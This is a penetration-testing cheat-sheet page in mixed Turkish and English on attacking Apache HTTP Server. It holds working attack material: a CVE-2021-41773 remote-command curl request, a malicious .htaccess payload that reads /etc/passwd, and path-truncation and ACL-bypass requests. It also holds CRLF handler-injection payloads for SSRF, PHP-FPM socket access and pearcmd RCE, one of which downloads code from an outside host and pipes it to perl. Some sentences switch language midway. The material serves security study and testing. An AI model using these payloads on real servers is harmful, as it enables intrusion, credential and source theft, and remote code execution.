# Apache
{{#include ../../banners/hacktricks-training.md}}
## Çalıştırılabilir PHP uzantıları
Apache sunucusunun hangi PHP uzantılarını çalıştırdığını kontrol edin. Bunları aramak için şu komutu çalıştırabilirsiniz:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Ayrıca, bu yapılandırmayı bulabileceğiniz yerlerden bazıları şunlardır:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## LFI via .htaccess ErrorDocument file provider (ap_expr)
Bir dizinin .htaccess dosyasını kontrol edebiliyor ve AllowOverride o yol için FileInfo içeriyorsa, ErrorDocument içinde ap_expr file() fonksiyonunu kullanarak 404 yanıtlarını rastgele yerel dosya okumalarına dönüştürebilirsiniz.
- Gereksinimler:
- Apache 2.4, expression parser (ap_expr) etkinleştirilmiş (varsayılan 2.4).
- vhost/dir .htaccess'in ErrorDocument ayarlamasına izin vermeli (AllowOverride FileInfo).
- Apache worker kullanıcısının hedef dosya üzerinde okuma izinleri olmalı.
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Bu dizinin altındaki mevcut olmayan herhangi bir yolu isteyerek tetikleyin, örneğin userdir-style hosting'i kötüye kullanırken:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notlar ve ipuçları:
- Sadece mutlak yollar çalışır. İçerik 404 handler için yanıt gövdesi olarak döndürülür.
- Etkili okuma izinleri Apache kullanıcısının (genellikle www-data/apache) izinleridir. Varsayılan kurulumlarda /root/* veya /etc/shadow okunamaz.
- .htaccess root sahibi olsa bile, üst dizin tenant sahibi ise ve yeniden adlandırmaya izin veriyorsa, orijinal .htaccess'i yeniden adlandırıp SFTP/FTP ile kendi yerine koyduğunuz dosyayı yükleyebilirsiniz:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Bunu, DocumentRoot veya vhost config yolları altındaki uygulama kaynak kodunu okuyup sırları (DB creds, API keys, vb.) elde etmek için kullanın.
## Confusion Attack
Bu tür saldırılar [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) tarafından tanıtıldı ve belgelendi; aşağıda bir özet verilmiştir. "confusion" saldırısı temelde birlikte çalışan onlarca modülün Apache oluştururken tam olarak senkronize olmamasından yararlanır; bazı modüllerin beklenmedik verileri değiştirmesi daha sonraki bir modülde güvenlik açığına neden olabilir.
### Filename Confusion
#### Truncation
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Ancak başka durumlarda bu bir dosya yolu olarak işlenir ve bu da sorun yaratabilir.
- **Path Truncation**
Aşağıdaki kural örneğinde olduğu gibi `mod_rewrite`'ı kötüye kullanarak, beklenen yolun son kısmını basitçe bir `?` ekleyerek kaldırıp dosya sistemi içindeki diğer dosyalara erişmek mümkündür:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Mislead RewriteFlag Assignment**
Aşağıdaki rewrite rule'da, URL `.php` ile bittiği sürece php olarak kabul edilip çalıştırılacaktır. Bu nedenle, `?` karakterinden sonra `.php` ile biten bir URL gönderip path'e farklı türde (ör. bir image) içinde kötü amaçlı php kodu bulunan bir dosya yüklemek mümkündür:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a =`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **ACL Bypass**
Erişimin reddedilmesi gereken durumlarda bile, şu gibi yapılandırmalarla kullanıcının erişmemesi gereken dosyalara erişmek mümkün olabilir:
```xml
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
```
Bunun nedeni, varsayılan olarak PHP-FPM'in `.php` ile biten URL'leri, ör. `http://server/admin.php%3Fooo.php`, alması ve PHP-FPM'in `?` karakterinden sonrasını kaldırmasıdır; bu nedenle önceki URL, önceki kural bunu yasaklamış olsa bile `/admin.php`'i yüklemeye izin verir.
### DocumentRoot Karışıklığı
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Apache hakkında ilginç bir bilgi: önceki rewrite hem documentRoot'tan hem de root'tan dosyaya erişmeye çalışır. Bu nedenle, `https://server/abouth.html` isteği dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` yollarında kontrol edecektir. Bu temel olarak dosya sistemi içindeki dosyalara erişmek için kötüye kullanılabilir.
#### **Server-Side Source Code Disclosure**
- **Disclose CGI Source Code**
Sona %3F eklemek, bir CGI modülünün source code'unu leak etmek için yeterlidir:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
- **PHP Kaynak Kodunu İfşa Etme**
Eğer bir sunucuda farklı alan adları varsa ve bunlardan biri statik bir alan adıysa, bu durum dosya sisteminde gezinmek ve php kodunu leak etmek için kötüye kullanılabilir:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Local Gadgets Manipulation**
Önceki saldırının temel sorunu, varsayılan olarak dosya sistemi üzerindeki çoğu erişimin Apache HTTP Server’ın [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) dosyasında olduğu gibi reddedilecek olmasıdır:
```xml
AllowOverride None
Require all denied
```
Ancak [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share` dizinine izin verir:
```xml
AllowOverride None
Require all granted
```
Therefore, it would be possible to **`/usr/share` inside bulunan dosyaları istismar etmek mümkün olacaktır.**
**Local Gadget to Information Disclosure**
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Local Gadget to XSS**
- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **güvensiz RewriteRule**.
**Local Gadget to LFI**
- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Local Gadget to SSRF**
- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
**Local Gadget to RCE**
- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
#### **Jailbreak from Local Gadgets**
It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
### Handler Confusion
This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
#### **Overwrite Handler to Disclose PHP Source Code**
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
#### **Overwrite Handler to XXXX**
TODO: Orange hasn't disclose this vulnerability yet
### **Invoke Arbitrary Handlers**
If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Therefore, to perform this attack is needed one of the following vulns:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Arbitrary Handler to Information Disclosure**
For example `/server-status` should only be accessible locally:
```xml
SetHandler server-status
Require local
```
Erişim, `Content-Type`'ı `server-status` olarak ayarlayıp Location başlığını `/` ile başlayan bir değerle ayarlayarak mümkündür.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Keyfi Handler'dan Tam SSRF'ye**
Herhangi bir URL'deki herhangi bir protokole erişmek için `mod_proxy`'ye yönlendirme:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
Ancak, `X-Forwarded-For` başlığı ekleniyor ve bulut metadata uç noktalarına erişimi engelliyor.
#### **Arbitrary Handler to Access Local Unix Domain Socket**
PHP-FPM’s local Unix Domain Socket'e erişerek `/tmp/`'de bulunan bir PHP backdoor'u çalıştırın:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Arbitrary Handler to RCE**
Resmi [PHP Docker](https://hub.docker.com/_/php) image'ı PEAR (`Pearcmd.php`) içerir; bu, komut satırı PHP paket yönetim aracı olup RCE elde etmek için kötüye kullanılabilir:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Bu tekniğin detayları için, [Phith0n](https://x.com/phithon_xg) tarafından yazılan [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) sayfasına bakın.
## Referanslar
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}